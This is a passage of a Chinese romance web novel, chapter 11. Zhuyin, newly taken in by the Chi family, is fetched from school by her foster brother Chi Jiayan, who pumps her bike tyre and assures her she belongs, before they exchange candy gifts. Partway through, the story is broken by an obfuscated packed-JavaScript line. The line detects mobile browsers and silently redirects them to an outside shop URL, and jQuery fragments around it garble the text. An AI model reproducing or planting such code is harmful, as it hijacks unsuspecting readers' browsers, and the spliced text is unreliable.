11/
竹音第一次坐上迟嘉言的后座是在她刚来迟家不久，虽然迟奶奶刚开始在她面前提起迟嘉言是用“你那个哥怎么怎么样”来代替，他也从善如流喊她妹妹。
但如果人生是一台登场正在演出的戏，这一幕只有她还迟迟未进入角色。她和这个新家仿佛还隔着什么难以形容的介质，没有办法在短时间内真正溶解掉。
她将这种感觉归为还没适应。
这种不适应表现在做每件事好像都小心翼翼的，缄默融在性格里，竹音在思考这是不是一种成长。
有时候需要用到家里的东西，或者找什么没找到，她都会犹豫着要不要去问迟奶奶或者迟嘉言。
心里照旧两个小人在打架，而犹豫的结果是否定答案。
那个火烧似的暑假就这样度过。
新学期开始，她上初三，迟嘉言上高三，两座学校挨得不算特别近，加上高二升高三的暑假尤为短暂，竹音开学时，迟嘉言已经上了两周学。
高三要求早到校，竹音比他晚一些起床，每天临走之前，迟奶奶都会劝她好几次要注意安全。
竹音心中微暖，和奶奶告别。
她到楼下找自己的自行车，一个假期没怎么骑，轮胎都有点没气，竹音将这件事完全抛之脑后，后果就是此刻命中的回旋镖。
她叹口气，最后只得打车去学校。
返校第一天开学主要是领课本，参加开学典礼之类形式化的程序，放学时间还算早。
竹音双手攥着书包带出来时，校门口看见迟嘉言在等她。
他可能早就注意到她了，目光从老远处就紧锁着她，看见她发现自己还会假模假样挪开视线，迟嘉言在原地没动，等她什么时候过来。
彼时竹音正和同学一起出来呢，对方也看出竹音似有若无往远处瞟的视线，问等她是不是有人来接了。
竹音下意识朝门口看，视线被人逮个正着，不自在像爬山虎一样长满全身，话在嘴边轱辘一圈，迟奶奶平常挂在嘴上的“你哥，你哥”在脑袋里蹦出来，竹音牙齿磕在嘴唇边，最后说是她哥。
好没底气的一句话。
还好对方不会借题发挥。
对方同学和她不算特别熟，竹音没有和别人透露自己的家庭情况，因此也不用特意解释为什么她身边会突然多出一个哥哥。
同学哦一声，注意到迟嘉言身上的校服，语气变得惊奇起来：“你哥临溪的？成绩肯定很好吧。”
临溪中学是他们这里升学率最高的学校，中考分数严格卡线，能进去的学生成绩相当优秀。迟嘉言初高中都在那读，初中在直升班里，中考前校方就已经签了升学协议，到高中直接升入重点班。
听起来顺畅如喝水。
标准的别人家孩子，还是那种经典到不行的范例。
人都会有点慕强心理，对于那些成绩好的优秀的学生总是心里想着变成和他一样厉害的人。
青春那点事，成绩占不小的比例，仰望分数高的人，自然而然。
竹音也想去临溪上学，中考分数就变得很关键。
而她努力的空间还有很多。
这么想着就走到门口，同学知道她有人来接，于是和竹音摆摆手：“那我先走啦？”
“拜拜。”
她脚步稍微放慢了一点，然后按照余光方向，走向迟嘉言。
夏天太阳下午更毒，她迎着光，有些刺眼，眼皮稍微阖阖：“你今天不上晚自习吗？”
“我们今天也是开学典礼，休息半天。”
迟嘉言伸手，眼神示意她把背包拿下来，他好放在车筐里。
“我回家看见你自行车在楼下。”
迟嘉言把她书包放好，回头就看见她侧垂的手正在捏衣角，很小的细节他注意到，低眸看着她，语气放轻：“坏了？”
低低的声音滚过燥热的风，带着颗粒感在她耳朵里不紧不慢地磨。
竹音摇头：“轮胎没气了。”
“家里有打气筒……”迟嘉言说完稍微顿了下，他刚想起来可能她并不知道这件事。
接下来的话被他掐灭在瞬息之间。
滚烫的风没有继续吹在她身上，竹音往上抬点头，落在穿校服的他身上。
风里混着很小时候曾在他身上嗅到的气味。
樟脑丸变成薄荷，舒缓着她绷得发酸的神经。
迟嘉言收紧自己握车把的手。
家里有什么，她很少去看也很少去问，每天好像就在家里那一点留给自己的地方活动。
小心翼翼的，用一层茧，包裹住自己，也隔绝开别人，用最礼貌的方式，对待这份过于厚重的恩情。
他是理解她的。
他是应该理解她的。
想到这，迟嘉言缓缓道：“没事，我回去找打气筒，给你打。”
“上车吧。”迟嘉言跨上座位，半侧身示意她坐到后座。
车骑起来的风吹开刘海，后座没有可以抓紧的地方，她攥着前面人外套的衣角，攥得手心发汗。
车上的世界摇摇晃晃。
她是一块吸饱水份的海绵，细细麻麻的孔洞里都是看不见的泪，在这条通往家的路上被车轮一点一点碾干，丰沛自由没有任何压力作用地见缝插针，让她得以在这些孔洞中喘息。
到家楼下，迟嘉言上去拿打气筒，把袖口卷到胳膊肘，蹲下身边打边和她说：“打气筒在我那屋的书柜和床的夹缝里，下次需要用可以去取。”
“好。”
竹音回答得很小声。
“或者你说一声，我给你打。”
竹音摇头，这点事肯定自己去做：“下次就不用麻烦你了。”
迟嘉言双手打气，朝她看一眼，纠正：“不是麻烦。”
他知道她对他们还存着一些无法言说的“见外”，迟嘉言觉得这很正常，也不急于在嘴上标榜“我是你哥，我的奶奶也是你奶奶”这样的话来拉近距离。
事实上也拉不近。
任何新关系的建立都要在日复一日的打磨和相处中“润物细无声”地渗透，心底真正的接纳来源于某个顿悟的瞬间，无法丈量这段时间到底是长是短。
那种感觉会在心房忽地裂开一个小口，迟嘉言想做站在外面那个人。
不会急着往里面挤，而是看着这个一砖一瓦仓促筑起的堡垒，抬起手轻轻摸起某道裂缝，说这里会不会痛。
同样的，迟嘉言也想让这个家一点点渗进她的身体里，某一天忽然意识到时，只剩下暖。
但是这些，他不会说出来。
竹音小小应了句好。
迟嘉言抬头看她，她垂着眼，眼神一会看自行车一会看自己脚尖，唯独就是没看他。
玻璃般的眼珠偶尔扫到他，也像碰到什么易碎品一样挪开。
“这个家里的东西，每一样也都有你的一份。”
他给车胎打完气，没急着站起来，而是突然说了这样一句话。
也是在他说这句话时，竹音的目光才真正锁到他，那眼神如宣纸上半晕开的墨点，像是在问，他刚才说了什么。
不是没听到。
而是确认。
一种需要他确认的眼神。
迟嘉言在她眼神过来的时候就伸手捉住，把这种无声的交流限制在他们二人之间。
“有什么需要，或者想要什么帮助，你在这个家里完全可以说，家是堡垒，不是第二个需要紧绷神经的地方。”
迟嘉言站起身，“阿姨肯定也希望，你能在这里过得快乐。”
“我和奶奶，也希望你可以开心。”
她刘海上有白色的浮毛，迟嘉言用干净的手背蹭掉，动作很小心。
他的手也瘦，贴上来手背上的骨骼碰到她额头，仿佛在和她的骨骼无声共振。
骨头碰骨头，那是一种会让人掉眼泪的碰触。
竹音相信他是真心的。
对视之间，还是她率先转过头，下意识皱鼻子来缓解那股令人窒息的鼻酸：“知道了。”
虽然嘴上说知道，但迟嘉言也明白，她还需要一段时间去适应和接受，他想，他也可以陪这个小妹妹一起长大，也不是做不到的事情。
她来到他们家，奶奶和他接纳这位妹妹，承担下她和她妈妈的信任。
那么他，理应对她负责。
在她还没有成年之时。
竹音吸了一口气，气流湍急从鼻腔穿过喉，又烧过气管，仿佛透彻全身，压抑那股到达沸点的情绪。
竹音觉得自己有必要做一些什么去掩盖此刻的情绪。
“你在这等我一下。”竹音撂下一句就打算跑开。
她刚转过身，迟嘉言就喊住她。
竹音回头，手腕被人轻轻拉了下。
“慢一点，不用跑，走也可以的。”
迟嘉言在后面先松手，走在她身后，垂眼看着少女冷白纤瘦的脖颈，没有故意窥探她因为情绪波动湿掉的眼角。
竹音转过身的那一刻，包含着少女强撑倔强的脆弱。
那眼泪包含的是骄傲，和不愿人知的脆弱。
他不应该去碰触。
……
小卖部里，竹音在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799231|209306||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
冰柜前挑雪糕，问迟嘉言奶奶能吃吗。
“她前年刚做了副牙，可好使。”迟嘉言莞尔，不经意从架子上拿了一条软糖。
兰姐进货回来，看见竹音，喊她：“音丫头，来了啊。”
小卖部老板娘和竹音认识，算是熟人，大金耳坠，豹纹上下装，杉红色的头发一年四季都烫着卷儿，像香港电影里的演的包租婆，小时候周围孩子都怕她，因为她看上去凶凶的也不好惹。
醉酒的丈夫被她捏着耳朵赶出来，勒令不许进屋，对方也没有一点脾气，只得悻悻坐在店门口和大黄四目对视。
这件事被放学的小孩看到，迅速从四周传开。
于是一部分小孩去别的地方买零食，背后念叨她是个坏女人，竹音对这种以貌取人嗤之以鼻，觉得老板娘很直率，有让人钦佩的敢劲儿。
竹音一家总来这买东西，兰姐自然眼熟。
有几次店里忙的走不开，进货的车是她亲戚，半路出了点事，兰姐赶紧去，店里没有多余的人走不开，刚好竹音和妈妈在，尤清雅说帮她盯一会。
等她回来时就看见小女孩在玻璃柜台上安静写作业，长发如瀑乖巧垂落，见她回来，从兜里摸出干净的纸巾给她，说她头上好多汗，擦一擦。
兰姐聪明也敏锐，知道那群孩子有时候路过在门口指指点点，或是爆发一串不怀好意的声音然后跑走，她从不以为意，跟一群毛都没长齐的小屁孩计较什么。
这时候倒是兴致上来，问竹音难道不怕她么。
竹音反问她是洪水猛兽吗，为什么要怕。
兰姐撇嘴，将湿掉的头发用卡子别起来，露出挺立的眉骨，格外认真打量她。
第一眼就招人喜欢，以至于竹音后来课余时间过去帮忙，兰姐还会悄悄塞给她钱。
被竹音退回去几次，兰姐见她态度坚决，就让她看店里有什么喜欢吃的，直接拿走就行。
结果竹音从散装糖里摸出一块锡纸包裹的阿尔卑斯，说一颗糖就好。
兰姐问她要不要再拿点，她却摇头：“太贪会染上不好的习惯。”
小小一个人儿，懂得还挺多。
后来她家生变故，兰姐那会在外地忙生意，回来时竹音已经有了新的住处。
迟嘉言先选好东西，拿到玻璃柜台。
兰姐看他过来结账，是一条糖。
他结完账，竹音也挑好雪糕，迟嘉言伸手把糖放进裤兜，伸手要帮她结账。
竹音搂紧雪糕，塑料包装噼啪响，背着他结账，不让他看清价格。
兰姐照旧从糖罐里摸出一颗阿尔卑斯给她，竹音接过，抿嘴笑：“谢谢兰姨。”
水泥台阶被夕阳染烫，竹音回家的一路上蹦蹦跳跳，看起来心情比刚才好很多。
迟嘉言拿着她递过来的雪糕——
和她同一款。
他隔着塑封朝她晃了晃：“是刚才的报酬？”
说报酬有点太见外了，竹音咬下长方形的一个角，眼神低垂，选择换种说法：“是礼物。”
他没回应，竹音以为他没听清，侧头，碎发扫过她侧脸：“是礼物。”
三个字，清脆得像冰块落杯。
夕阳将她的睫毛晕染成浅棕色，平时深色的瞳仁仿佛被自动拉底透明度，澄净得像两颗不含杂质的玻璃珠，像一场下得通透的暴雨。
仿佛刚才倔强背过身掩盖脆弱的她只是他臆想的幻觉。
迟嘉言觉得，她能是现在的状态，你对她背后的勇敢一无所知。
撑起少女的一身骨骼。
你想象不到它是有多么坚硬。
竹音不知道他想了那么多，她在情绪消化这件事上天赋异禀，回忆在她身上的跨度可以很长，也可以短到一个背身的时间就重新压回进心底。
她把手心里那颗还没化掉的糖递给他。
迟嘉言指尖捻起，回想她刚刚的定义：“也是礼物？”
竹音嗯了声。
夏天傍晚的风吹得人脸热热的，竹音舒服地眯起了眼。
心房打开了一个口，暖风穿过她的身体，将那处空缺灌满。
有什么东西在她身上发生了改变。
回家之后，他们都对下午的事默契不提，竹音找他问题时落了一本习题册在他那，迟嘉言给她送过来，手穿过门缝递到她眼前。
竹音接过来，发现笔记本里面夹了什么东西，鼓起来很明显。
她回到书桌翻开，里面是整整一条阿尔卑斯。
手机像是有感应般亮起，她稍微愣了一下才去看。
Salt：是礼物。